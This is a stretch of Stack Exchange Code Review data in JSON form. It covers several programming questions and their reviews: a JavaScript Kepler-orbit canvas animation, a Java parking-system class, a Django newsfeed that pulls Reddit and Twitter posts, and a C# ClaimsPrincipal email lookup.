"CreationDate": "2021-04-30T05:28:59.257",
"Id": "513555",
"Score": "2",
"body": "Your total program isn't that big (as in, we've seen way worse). Could you include the full code into the question? We tend to only review what's in the question itself and for licensing (and other) reasons we encourage the author of the post to do that themself."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T10:49:28.460",
"Id": "513578",
"Score": "0",
"body": "Welcome to Code Review! Can you confirm that the code is complete and that it functions correctly? If so, I recommend that you [edit] to add a summary of the testing (ideally as reproducible unit-test code). If it's not working, it isn't ready for review (see [help/on-topic]) and the question may be deleted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T13:52:59.213",
"Id": "513602",
"Score": "0",
"body": "@Mast Thanks for letting me know. I've updated the question to include everything"
}
] |
[
{
"body": "<h2>Review</h2>\n<h3>Orbit</h3>\n<p>You are incorrectly calculating the position of the planet.</p>\n<p>The eccentric anomaly which you attempt to calculate with a linear, integrated 2nd derivative, in the function <code>this.updateTheta</code> will never work as the solution in non linear. That said the example below uses a linear approximation.</p>\n<p>There is no easy way to change your code such that time steps can be scaled while maintaining the same orbit. It is best to use the standard orbital solution.</p>\n<h3>Animation</h3>\n<p>Never use 'setInterval' for animation</p>\n<p>For the best result when animating via JS in the browser use the animation callback <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame\" rel=\"nofollow noreferrer\" title=\"MDN Web API's Window requestAnimationFrame\">requestAnimationFrame</a> (rAF)</p>\n<p>It will call the main render loop function at 60FPS (If your render function takes no more than ~80% of 1/60th second (12 - 13ms)) Please read the documentation for rAF as there are many caveats.</p>\n<p>Example of basic animation loop</p>\n<pre><code> requestAnimationFrame(renderLoop); // request first frame\n\n function renderLoop() {\n ctx.clearRect(0, 0, W, H); // clear canvas ready for next frame render\n\n ... // call render function\n\n requestAnimationFrame(renderLoop); // Request Next frame\n }\n</code></pre>\n<h3>Readable</h3>\n<p>Your calculations are very hard to read and you are using some outdated calls.</p>\n<ul>\n<li><p>Use the <code>**</code> operator rather than <code>Math.pow</code> or <code>Math.sqrt</code>. Eg <code>2 ** 2</code> is two squared and <code>2 ** 0.5</code> is the square root of two.</p>\n</li>\n<li><p>The main reason that your calcs are hard to read is because you don't space out the operators. Always use spaces between operators.</p>\n<p>The line...</p>\n<blockquote>\n<pre><code>var R = Math.pow(((Math.pow(T,2))/((4*Math.pow(Math.PI, 2))/(G*M))),(1/3)) ;\n</code></pre>\n</blockquote>\n<p>is far easier to read as...</p>\n<pre><code> const R = (T ** 2 / (4 * Math.PI ** 2 / (G * M))) ** (1 / 3);\n</code></pre>\n<p>Note that variables that do not change should be constants.</p>\n</li>\n</ul>\n<h2>Orbits and controlling their animation periods.</h2>\n<p><strong>Note</strong> I use radians</p>\n<p>Kepler's laws modify a circular orbit into an ellipse such that the line from the planet (Earth) to the parent (Sun) sweeps equal areas in equal time.</p>\n<p>We define the ellipse by the semi-major axis, the eccentricity, and either the closest (periapsis) or furthermost (apoapsis) points in the orbit. Both points are on the semi-major axis</p>\n<p>We want to crate a function that gives the planets position at a given time. We can then scale that time to control the rate that the animation plays out.</p>\n<ul>\n<li><p>For a circular orbit the object must travel <code>2 * MATH.PI</code>.</p>\n</li>\n<li><p>Using ms we can define the period of the orbit. eg 1 second is 1000ms</p>\n</li>\n<li><p>We can then scale the orbit position as a function of time.</p>\n<p>Example</p>\n<ul>\n<li>The orbit position scale is <code>scale = (period) => 2 * MATH.PI / period</code></li>\n<li>With an orbit of 1 second the position is <code>pos = (ms) => scale(1000) * ms</code> where ms is the current time. The pos returned is the mean anomaly <code>M</code></li>\n</ul>\n</li>\n</ul>\n<h3>Kepler's law</h3>\n<ul>\n<li><p>The orbital position is called the mean anomaly <code>M</code> in radian (range -PI to PI)</p>\n</li>\n<li><p>When traveling on a non circular orbit the mean anomaly <code>M</code> is advanced or retarded depending on the orbital distance. That value is the eccentric anomaly <code>E</code> in radians</p>\n</li>\n<li><p>The ellipse is defined by eccentricity <code>e</code> range <code>0 <= e < 1</code></p>\n</li>\n<li><p>Kepler states that <code>M = E - e * Math.sin(E)</code></p>\n<ul>\n<li><p>We know M and e, but not E so we must solve the above equation in terms of M. This is non trivial so we must approximate.</p>\n<p>To do this we use Newtons method to solve <code>M = E - e * Math.sin(E)</code> for <code>M</code> with a linear approximation of the non linear part <code>e * sin(E)</code> see function <code>eccentricAnomaly</code> in Demo</p>\n</li>\n</ul>\n</li>\n<li><p>With E we can then calculate the 2D position of the body using <code>e</code> and the distance to apoapsis <code>r</code></p>\n<pre><code> const x = r * (Math.cos(E) - e);\n const y = r * Math.sin(E) * (1 - e ** 2) ** 0.5; \n</code></pre>\n</li>\n<li><p>This 2D position can then easily be aligned to the semi-major axis, and if needed rotated into 3D to match the inclination, position of ascending node and argument of periapsis to fully define any 2 body orbit (Newtonian).</p>\n</li>\n</ul>\n<h2>DEMO</h2>\n<p>All that above was clear as mud I am sure, thus a Demo.</p>\n<p>The code below animates 3 objects (two 2 body solutions) at a specified orbital period of 1 and 2 seconds. The time is given by <code>rAF</code> as first argument given to the callback <code>renderLoop</code>.</p>\n<p>Time 0 is set to apoapsis which is defined by the start positions of the planet relative to the parent body. The orbit is rotated in 2D to align to the apoapsis.</p>\n<p>The eccentricity of planets e is 0.5</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>requestAnimationFrame(renderLoop);\nconst ctx = canvas.getContext(\"2d\");\nctx.lineCap = \"round\";\nvar frameCount = 0, startTime, prevTimeScale = timeScale.value, lastTime;\nconst W = canvas.width, H = canvas.height, CX = W * 0.25, CY = H * 0.5;\n\nconst SUN_RADIUS = 20, SR = SUN_RADIUS; // in pixels\nconst PLANET_SCALE = 0.4, PS = PLANET_SCALE; // in sun radi\nconst FIRST_PLANET_DIST = 4, FPD = FIRST_PLANET_DIST; // in sun radi\nconst ECCENTRICITY = 0.5, E = ECCENTRICITY; // 0 circlular\nconst KEPLER_PERIOD = 1000, KP = KEPLER_PERIOD; // ms per orbit\n\nconst MBLUR_LINE_GRAD = 8; // Steps to grade blur line\nconst FRAME_RATE = 60; // Max 60 Frames per second. Only use valid values\n // Valid vals 60, 30, 20, 15, 12, 10, 6, 5, 4, 3, 2, 1\nconst FRAME_SKIP = 60 / FRAME_RATE;\nMath.TAU = Math.PI * 2;\nMath.R90 = Math.PI * 0.5;\n\n\nconst calcVectors = (A, B) => {\n const dx = B.x - A.x;\n const dy = B.y - A.y;\n const rSqr = dx * dx + dy * dy, r = rSqr ** 0.5; \n const nx = dx / r;\n const ny = dy / r;\n return {nx, ny, rSqr, r, axis: Math.atan2(ny, nx)};\n}\nconst eccentricAnomaly = (M, e) => { // newtons method to solve M = E-e sin(E) for E\n var d, E = M; // guess E\n do {\n d = (E - e * Math.sin(E) - M) / (1 - e * Math.cos(E));\n E -= d;\n } while (d > 1e-6);\n return E;\n}\n\n\nconst Planet = {\n x: 0, y: 0, vx: 0, vy: 0, ox: 0, oy: 0,\n init() { return this }, \n update() { },\n draw(ctx, lastSubFrame) {\n const A = this;\n const dx = A.ox - A.x;\n const dy = A.oy - A.y;\n const dist = (dx * dx + dy * dy) ** 0.5; \n ctx.setTransform(1, 0, 0, 1, CX + A.x, CY + A.y);\n ctx.fillStyle = ctx.strokeStyle = A.col;\n if (dist > 0.1 && MBLUR_LINE_GRAD > 0) {\n ctx.globalAlpha = (1 / (dist - 0.1)) ** 1.4;\n ctx.beginPath();\n ctx.strokeStyle = A.col;\n const r = A.radius * 2;\n ctx.moveTo(dx, dy);\n ctx.lineTo(0, 0);\n const MBLG = MBLUR_LINE_GRAD;\n let i = MBLG;\n while (i--) {\n ctx.lineWidth = Math.cos(((i - 1) / MBLG) * Math.R90) * r;\n ctx.stroke();\n }\n } else if (lastSubFrame) {\n ctx.beginPath(); \n ctx.arc(dx / 2, dy / 2, A.radius, 0, Math.TAU);\n ctx.fill();\n }\n ctx.globalAlpha = 1;\n A.ox = A.x;\n A.oy = A.y;\n }, \n};\nconst KeplerPlanet = {\n period: 1,\n init(e, B) { // B at relative position at time 0. A is at apoapsis \n const A = this;\n A.period = Math.TAU / A.period;\n A.e = e;\n Object.assign(A, calcVectors(A, B)); \n A.px = Math.cos(A.axis); // Transform to Rotate semi major axis\n A.py = Math.sin(A.axis);\n return A;\n },\n update(time) {\n const A = this;\n const E = eccentricAnomaly(A.period * time, A.e);\n const x = A.r * (Math.cos(E) - A.e);\n const y = A.r * Math.sin(E) * (1 - A.e ** 2) ** 0.5; \n A.x = x * A.px - y * A.py;\n A.y = x * A.py + y * A.px;\n }, \n};\nconst FixedPlanet = {\n radius: 0,\n col: \"#EC8\",\n};\n\nfunction createOrbitObj(type, x, y, radius, col, period, e, orbits) {\n return ({...Planet, ...type, x, y, ox: x, oy: y, period, radius, col }).init(e, orbits);\n}\nconst sun = createOrbitObj(FixedPlanet , 0, 0, SR, \"#FF8\");\nconst p1 = createOrbitObj(KeplerPlanet, FPD * SR, 0, SR * PS, \"#6C1\", KP, E, sun);\nconst p9 = createOrbitObj(KeplerPlanet, FPD * SR * 2, 0, SR * PS, \"#C61\", KP * 2, E, sun);\nconst system = Object.assign([sun ,p1, p9], { \n update(time) { \n var i = this.length - 1;\n while (i) { this[i--].update(time) }\n }, \n draw(ctx, lastSubFrame) {\n for (const A of this) { A.draw(ctx, lastSubFrame) }\n },\n});\n\nfunction renderLoop(time) {\n var tT, i, pTS = prevTimeScale; // tT is totalTime\n if (frameCount++ % FRAME_SKIP === 0) {\n startTime = startTime ?? time;\n tT = time - startTime;\n\n ctx.setTransform(1, 0, 0, 1, 0, 0);\n ctx.clearRect(0, 0, W, H);\n\n const inputTimeScale = timeScale.value;\n if (inputTimeScale !== pTS) {\n startTime = time - tT * pTS / inputTimeScale;\n pTS = prevTimeScale = inputTimeScale;\n tT = time - startTime;\n }\n const dT = tT * pTS - lastTime; // delta time\n i = 0;\n while (i < MBLUR_LINE_GRAD && lastTime) {\n const current = lastTime + dT * (i++ / MBLUR_LINE_GRAD);\n system.update(current);\n system.draw(ctx, false);\n }\n \n system.update(tT * pTS);\n system.draw(ctx, true);\n lastTime = tT * pTS;\n }\n requestAnimationFrame(renderLoop);\n}</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>canvas { background: black; }\ninput { position: fixed; top: 10px; left: 10px; color: white; width: 340px }</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><canvas id=\"canvas\" width=\"350\" height=\"300\"></canvas>\n<input type=\"range\" id=\"timeScale\" min=\"0.01\" max=\"4\" step =\"0.01\" value=\"1\"></code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><sub><sub><strong>Why retro?</strong> The view is up from under the ecliptic (to matche canvas coords), orbits are thus retrograde to the solar system's direct (prograde)</sub></sub></p>\n<p><strong>Extras</strong></p>\n<p>I have added some additional features to demo.</p>\n<ul>\n<li><p><strong>Time Scale</strong>. The range bar changes the time scale that lets you change the rate of time. Time is a value based on a start time. When scaling time that start time must be change so that the planet does not skip time.</p>\n</li>\n<li><p><strong>Frame Rate</strong>. There is a value called <code>FRAME_RATE</code> which sets the frame rate. Max 60. This rate is a requested rate, the actual rate will vary depending on device and CPU/GPU load, but over time it will average the requested rate.</p>\n</li>\n<li><p><strong>Motion Blur</strong>. To improve the look when the time scale is large there is a simple motion blur applied to the moving planets.</p>\n<p>The blur is just a linear interpolation between sub time steps and thus only works when movement per sub step is less than about 0.5 radians.</p>\n<p><code>MBLUR_LINE_GRAD</code> controls how the blur is drawn and the number of sub time steps are used. A value of <code>0</code> will turn off motion blur. Values 1 or greater will increase the persistence. Current value is 8 and is tuned for the current frame rate of 60FPS.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T16:03:53.557",
"Id": "513670",
"Score": "0",
"body": "Thank you for this thorough review and explanation! It really helped!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T23:33:16.050",
"Id": "513686",
"Score": "0",
"body": "just happened to have this post-it note on your refrigerator, eh?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T00:12:54.057",
"Id": "513689",
"Score": "0",
"body": "Read *Kepler's Witch*. \"Witch\" refers to Kepler's mother who at age 70 was convicted of witchcraft. His fame helped her avoid physical torture or death. Kepler's life was hellacious: born with physical abnormalities, insanity in the family, a wanderlust absent father, pestilence killing children and wife, frequent near destitution, a pious Lutherian perpetually harangued by the church. and that odd-ball personality of a god-like genius. The final insult was a skirmish of The 30 Years War destroyed his grave marker. Today no one knows where (within the cemetery) Johann Kepler is buried."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T20:41:48.847",
"Id": "260209",
"ParentId": "260178",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260209",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T02:04:11.293",
"Id": "260178",
"Score": "2",
"Tags": [
"javascript",
"canvas"
],
"Title": "Javascript speed of an animated object (planet orbiting sun)"
}
|
260178
|
<p>I got a question:</p>
<p>Design a parking system. There are 3 types of parking spaces: big, medium and small.</p>
<p>Implement <code>ParkingSystem class(int big, int medium, int small)</code>. Constructor takes a number of places of types. So <code>ParkingSystem(1,2,3)</code> means there are 1 big place, 2 medium and 3 small.</p>
<p>Add method <code>addCar(int carType)</code> - carType takes one of three values [1,2,3] which represents big car, medium car and small car.</p>
<p>Method should check if there is a place for a car of such size or bigger, if yes then it parks the car in this place and returns true, else false.</p>
<p>For now there is no method to free parking space (when a car is leaving) but it can be added in future.</p>
<p>Example:</p>
<ul>
<li>ParkingSystem ps = new ParkingSystem(1, 2, 3); // creates parking with 1 big place, 2 medium and 3 small</li>
<li>ps.addCar(2); //true, medium car takes medium place</li>
<li>ps.addCar(2); //true, medium car takes medium place</li>
<li>ps.addCar(2); //true, medium car takes big place</li>
<li>ps.addCar(1); //false, no place for big car</li>
</ul>
<p>I wrote:</p>
<pre><code>public class ParkingSystem {
private int big;
private int medium;
private int small;
public ParkingSystem(int big, int medium, int small) {
this.big = big;
this.medium = medium;
this.small = small;
}
public boolean addCar(int car) {
if (car == 1 && isPlaceForBigCar()) {
return parkBigCar();
} else if (car == 2 && isPlaceForMediumCar()) {
return parkMediumCar();
} else if (car == 3 && isPlaceForSmallCar()) {
return parkSmallCar();
}
return false;
}
private boolean parkBigCar() {
this.big--;
return true;
}
private boolean parkMediumCar() {
if (medium > 0) {
this.medium--;
} else if (big > 0) {
this.big--;
}
return true;
}
private boolean parkSmallCar() {
if (small > 0) {
this.small--;
} else if (medium > 0) {
this.medium--;
} else if (big > 0) {
this.big--;
}
return true;
}
private boolean isPlaceForBigCar() {
return this.big > 0;
}
private boolean isPlaceForMediumCar() {
return (this.big > 0 || this.medium > 0);
}
private boolean isPlaceForSmallCar() {
return (this.big > 0 || this.medium > 0 || this.small > 0);
}
}
</code></pre>
<p>so it seems to be a little better than the worst solution but I believe there is still a lot to improve. Should I use strategy pattern to park cars or is there even better solution?</p>
<p>Main/Test class:</p>
<pre><code>public class Main {
public static void main(String[] args) {
ParkingSystem ps = new ParkingSystem(1, 2, 3); // creates parking with 1 big place, 2 medium and 3 small
System.out.println(ps.addCar(2)); //true, medium car takes medium place
System.out.println(ps.addCar(2)); //true, medium car takes medium place
System.out.println(ps.addCar(2)); //true, medium car takes big place
System.out.println(ps.addCar(1)); //false, no place for big car
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T05:24:13.010",
"Id": "513554",
"Score": "1",
"body": "Welcome to Code Review. Do you have testcases with your code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T06:05:40.100",
"Id": "513561",
"Score": "0",
"body": "@Mast, I only used this one from example (edited question) but I can add proper test class of course."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T10:24:36.643",
"Id": "513573",
"Score": "1",
"body": "@Michu93 what Mast *may* be hinting at is that it's possible to park an infinite number of small cars, because you have a bug in both your `isPlaceForSmallCar` and `parkSmallCar` methods."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T10:52:08.650",
"Id": "513579",
"Score": "0",
"body": "@forsvarir thanks, I didn't catch it. Okay, I fixed"
}
] |
[
{
"body": "<h2>this.</h2>\n<p>There's a lot of <code>this.</code> references in your code. Typically in Java you only use <code>this.</code> where you need to in order to disambiguate variables. Consider removing them as they're only adding noise to your code.</p>\n<h2>always True</h2>\n<p>Your <code>park</code> methods all return <code>boolean</code>, even though they all always return true. If you want to maintain the same approach, consider changing them to <code>void</code>.</p>\n<p>That said, I'd be tempted to merge the <code>isPlaceFor</code> and <code>park</code> logic together into a single <code>tryPark</code> method that checks if it can park and parks it if it can. This seems like a connected operation. Are you ever likely to want to know if you can park there without actually parking the car?</p>\n<h2>Naming / Constants</h2>\n<p>You fields are <code>big</code>,<code>medium</code>,<code>small</code>. You use them to track the available spaces of that size, consider being a bit more verbose with the field names to make the meaning clearer. It'll help when you add <code>maxAvailableBigSpaces</code> for example.</p>\n<p>I'd also consider adding constants for the CAR sizes. Whilst it may be obvious at the moment that 3 is a small car, it may not be as obvious in a week/months time.</p>\n<h2>delegating</h2>\n<p>When you park a small car, you're effectively checking for the small space, and if it's not there, trying to park it as a medium car, which if it's not possible you then try to park as a large car. You could match this approach in your code, which simplifies the logic in each stage and removes some of your duplicate checks.</p>\n<h2>switch</h2>\n<p>Combining some of the above together and using a switch expression rather than the if/elseif/else combo means that you could end up with some code more like this:</p>\n<pre><code>public class ParkingSystem {\n private static final int BIG_CAR = 1;\n private static final int MEDIUM_CAR = 2;\n private static final int SMALL_CAR = 3;\n private int availableBigSpaces;\n private int availableMediumSpaces;\n private int availableSmallSpaces;\n \n public ParkingSystem(int bigSpaces, int mediumSpaces, int smallSpaces) {\n availableBigSpaces = bigSpaces;\n availableMediumSpaces = mediumSpaces;\n availableSmallSpaces = smallSpaces;\n }\n\n public boolean addCar(int car) {\n return switch (car) {\n case BIG_CAR -> tryParkBig();\n case MEDIUM_CAR -> tryParkMedium();\n case SMALL_CAR -> tryParkSmall();\n default -> false;\n };\n }\n\n private boolean tryParkBig() {\n if(availableBigSpaces > 0) {\n availableBigSpaces--;\n return true;\n }\n return false;\n }\n\n private boolean tryParkMedium() {\n if (availableMediumSpaces > 0) {\n availableMediumSpaces--;\n return true;\n }\n return tryParkBig();\n }\n\n private boolean tryParkSmall() {\n if (availableSmallSpaces > 0) {\n availableSmallSpaces--;\n return true;\n }\n return tryParkMedium();\n }\n}\n</code></pre>\n<h2>A simple array approach</h2>\n<p>An alternate approach, which is more concise, however I don't think is as clear to follow, would be to use the ordering of the car sizes and an array to handle the allocation.</p>\n<pre><code>public class ParkingSystem {\n private int availableSpaces[] = new int[3];\n\n public ParkingSystem(int bigSpaces, int mediumSpaces, int smallSpaces) {\n availableSpaces[2]=smallSpaces;\n availableSpaces[1]=mediumSpaces;\n availableSpaces[0]=bigSpaces;\n }\n\n public boolean addCar(int car) {\n if(car > 3) return false;\n for(var spaceToCheck = car-1;spaceToCheck>=0;spaceToCheck--) {\n if(availableSpaces[spaceToCheck] > 0) {\n availableSpaces[spaceToCheck]--;\n return true;\n }\n }\n return false;\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T11:20:41.043",
"Id": "260189",
"ParentId": "260181",
"Score": "3"
}
},
{
"body": "<h2>Always True</h2>\n<p>In addition to forsvarir's answer, especially the "always True" aspect, I'd like to give an additional reason why to change that.</p>\n<p>Your <code>parkBigCar()</code> method (and its siblings) is only legal to be called after <code>isPlaceForBigCar()</code> has been checked and returned true. You surely know that today and wrote all your calls appropriately, but if you're working in a professional team, on a project lasting e.g. a year, it's quite possible that you (or your colleague) have to change something in that class at some time in the future, and have forgotten (or never known) about that fact.</p>\n<p>The more robust approach to such a situation is to design your methods in such a way that they can legally be called in any order you can imagine. And you already prepared to do so by declaring a boolean return value, most probably with the idea in mind to return false and not change anything about the parking lot if no space is available. That's completely in line with forsvarir's suggestion.</p>\n<p>If you don't integrate that check into the methods, at least document the dependency (and I'd recommend using Javadoc syntax here):</p>\n<pre><code>/**\n * Park a big car.\n * This method assumes that space is available.\n * Before calling this methods, the caller must check with isPlaceForBigCar().\n */\nprivate boolean parkBigCar() {\n this.big--;\n return true;\n}\n</code></pre>\n<p>By the way, it's always a good idea to document (at least for public methods) what their task is, or even better to define a method's task before you implement it.</p>\n<p>But let me as well mention the many good aspects of your solution:</p>\n<ul>\n<li>Your names are descriptive and follow the established Java Naming Guidelines.</li>\n<li>You decisions what to make <code>private</code> or <code>public</code> are perfect.</li>\n<li>Your code is straightforward and thus easily understood.</li>\n</ul>\n<h2>Strategy Pattern</h2>\n<p>Finally, your question about the <a href=\"https://en.wikipedia.org/wiki/Strategy_pattern\" rel=\"nofollow noreferrer\">Strategy Pattern</a> has not yet been answered.</p>\n<p>You'll find lots of patterns on the web, and most of them have their applications where they solve some problems, but I'd recommend to take all the pattern appraisals with a grain of salt. If the problem at hand is not the one the pattern is meant for, it won't improve anything.</p>\n<p>On the other hand, applying some patterns can make code more complex than the straightforward solution, and that's what we call over-engineering.</p>\n<p>In the industry, code reliability and code readability are very important qualities, so if a pattern doesn't make your code more reliable or more readable in a given situation, don't apply it.</p>\n<p>Returning to the Strategy Pattern: there's no way to improve the assignment of cars to parking places, so (citing Wikipedia) "...that enables selecting an algorithm at runtime" doesn't make any sense in your situation. You got the perfect algorithm, no need to change that, especially not to select multiple exchangable algorithms at runtime.</p>\n<p>So, introducing the Strategy Pattern would be over-engineering, and a typical case of <a href=\"https://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it\" rel=\"nofollow noreferrer\">YAGNI</a>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T13:37:11.130",
"Id": "260301",
"ParentId": "260181",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260189",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T05:16:06.263",
"Id": "260181",
"Score": "2",
"Tags": [
"java",
"algorithm",
"object-oriented",
"design-patterns"
],
"Title": "Parking places design"
}
|
260181
|
<p>I'm hoping to get feedback on my current code from someone more experienced in Django, and in the concepts I'm trying to implement. Let me preface by saying that I am a novice to Django. This is my first time using the framework.</p>
<p>Here's the gist of my goals in my project:</p>
<ul>
<li>Create a web application that displays reddit posts and tweets in a 'newsfeed' like format.</li>
</ul>
<p><em><strong>What I've done:</strong></em></p>
<ul>
<li><p>Create a services.py script that fetches the data from reddit and twitter from their API's using PRAW and Tweepy libraries respectively.</p>
</li>
<li><p>Grab each post from either reddit or twitter, and store in a collective list, ordered by earliest creation time first.</p>
</li>
<li><p>Pass this list through the view as context to the page template (joke.html, sorry for the unconventional naming).</p>
</li>
<li><p>In the template, loop through the context, check if the item is a reddit or twitter post. Then pass the list item into the respective template tag. (I have two template tags which essentially spit out proper HTML to embed either a reddit or twitter post onto the page).</p>
</li>
</ul>
<p>Basically, is it possible to implement this newsfeed-esque design using Django, or does that reach the limit of the framework's functionality? Right now, the posts are being embedded onto the page, but there isn't a cache of previous posts, nor does the 'feed' update based on scrolling.</p>
<p>The template is in <code>joke.html</code>, the function in <code>views.py</code>, API fetching and post sorting (on creation date) in <code>services.py</code>.</p>
<h3>joke.html</h3>
<pre><code>{% block content %}{% load reddit_tag_test %} {% load tweet_tags %} {% autoescape off %}
{% for item in connects %}
<div class="mdl-card__media" id="timeline">
{% if item|first in 'm' %}
{% reddit_tag_test item %}
{% else %}
{% tweet_tags item %}
{% endif %}
{% endfor %} {% endautoescape %}
</div>
{% endblock %}
<script async src="//embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</code></pre>
<h3>views.py</h3>
<pre><code>def joke(request):
connects = services.connections()
return render(request, 'joke.html', dict(connects=connects))
</code></pre>
<h3>services.py</h3>
<pre><code>sources = {}
def tweet_connect(key, secret, access_key, access_secret):
auth = tweepy.OAuthHandler(key, secret)
auth.set_access_token(access_key, access_secret)
api = tweepy.API(auth, wait_on_rate_limit=True,
wait_on_rate_limit_notify=True)
t_post_dict = {}
my_timeline = api.home_timeline(count=5)
current_status = []
default = 'https://twitter.com/twitter/statuses/'
for status in my_timeline:
if status.id not in db:
db.append(status.id)
url = default + str(status.id)
t_post_dict[url] = str(status.created_at)
current_status.append(url)
return t_post_dict
def reddit_connect(client_id, secret, username, password, user_agent):
sub = 'nba'
r_post_dict = {}
reddit = praw.Reddit(
client_id=client_id,
client_secret=secret,
username=username,
password=password,
user_agent=user_agent)
id_list = []
for r in reddit.subreddit(sub).new(limit=9):
time = r.created
dt_str = str(datetime.datetime.fromtimestamp(time))
r_post_dict[r.id] = dt_str
id_list.append(r.id)
return r_post_dict
sources['twitter'] = tweet_result
sources['reddit'] = red_result
def connections():
time_assoc_dict = {}
times = []
src = []
for keys, value in sources.items():
for k, v in value.items():
time_posted = v
source = k
time_assoc_dict[source] = time_posted
times.append(time_posted)
for post in times:
newest_post = min(times) # find the newest post
times.remove(newest_post) # remove it from the list
for k, v in time_assoc_dict.items():
if newest_post == v:
src.append(k)
src = src[::-1]
return src
</code></pre>
<p>P.S. I know Stack Exchange mentions that I shouldn't ask how to implement new features. I am looking for genuine feedback on my code, and improvements I can make. I am obviously open to suggestions on what to do next, because I would like to learn how to cache previous posts (lets say I kept scrolling down the page), but it is not expected. If I only receive feedback, I will be more than satisfied.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T06:21:26.657",
"Id": "260182",
"Score": "3",
"Tags": [
"python",
"beginner",
"api",
"django"
],
"Title": "Logical next step in Django newsfeed web app"
}
|
260182
|
<p>From searching online I have identified two ways to get the user email, but I don't know if either has pro's/con's beyond Option.1 being a larger number of lines of code?</p>
<p><strong>Option.1</strong></p>
<p>I have a dedicated <code>ClaimsPrincipalExtension.cs</code> class, which I can call from anywhere in my app using <code>var email = ClaimsPrincipalExtensions.GetLoggedInUserEmail(User);</code>. Within which I have a method to get the email as shown:</p>
<pre><code>using System;
using System.Security.Claims;
namespace FunctionalLogicLibrary {
public static class ClaimsPrincipalExtensions {
public static string GetLoggedInUserEmail(this ClaimsPrincipal principal) {
if (principal == null)
throw new ArgumentNullException(nameof(principal));
return principal.FindFirstValue(ClaimTypes.Email); }
}
}
</code></pre>
<p><strong>Option.2</strong>
I just add using <code>System.Security.Claims;</code> to any class where I need it and use </p>
<pre><code>var email = User.FindFirstValue(ClaimTypes.Email);
</code></pre>
<p>I'm just trying to learn here. Which method is more appropriate and why?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T08:12:56.257",
"Id": "513567",
"Score": "3",
"body": "The first option hides the `System.Security.Claims` from the consumer-side, which is good. You can make that function as generic as the second one by parameterizing the `ClaimTypes`: `public static string GetClaim(this ClaimsPrincipal principal, ClaimsType claim) {...}`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T10:08:59.743",
"Id": "513571",
"Score": "2",
"body": "Considering that its supposed to be an extension, why not `User.GetLoggedInUserEmail()` or even simpler `User.GetEmail()`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T10:12:13.297",
"Id": "513572",
"Score": "3",
"body": "In one of the apps I maintain there is a lot of code that involves Claims, and I've made sure to concentrate all that code into one class of extension methods. This way the code that uses these methods is simple to read, and anytime I need to add more Claims-related code there is a single page I just need to update (which also contains private methods that can be reused in some of the public methods)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:49:01.907",
"Id": "513616",
"Score": "1",
"body": "I would suggest creating a class model for user, and bind user claims to the user class model. this would hide the cliams, and it will be easier to access and expand. so you can do `user.Email`, `user.Mobile`, `user.UserName` ...etc."
}
] |
[
{
"body": "<p>I frequently write extension methods for IPrincipal and ClaimsPrincipal objects (depending on .NET framework version). Creating an abstraction for a business concept is a good idea, because it centralizes this knowledge (think: Single Source of Truth). If this happens to change in the future, you have one file, one method to modify. Option 1 is preferred, since it simplifies maintenance.</p>\n<p>Some additional improvements:</p>\n<ol>\n<li><p>Call extension methods from the object context: <code>user.GetCurrentlyLoggedInUserEmail()</code></p>\n<p>This is what extension methods are for. Take advantage of their syntactical sugar.</p>\n</li>\n<li><p>Do not duplicate concepts in the method name that already exist in the type it extends. This just makes method names too long for no added benefit: calling <code>user.GetEmail()</code> conveys the same information in a fraction of the characters.</p>\n<p>Plus, "LoggedIn" is contextual, and assumes you are calling this on a ClaimsPrincipal that is the currently logged in user. This is not something the .NET type system enforces, so your method name should not make this assumption.</p>\n</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T13:37:29.243",
"Id": "260196",
"ParentId": "260183",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260196",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T07:21:37.700",
"Id": "260183",
"Score": "2",
"Tags": [
"c#",
"security",
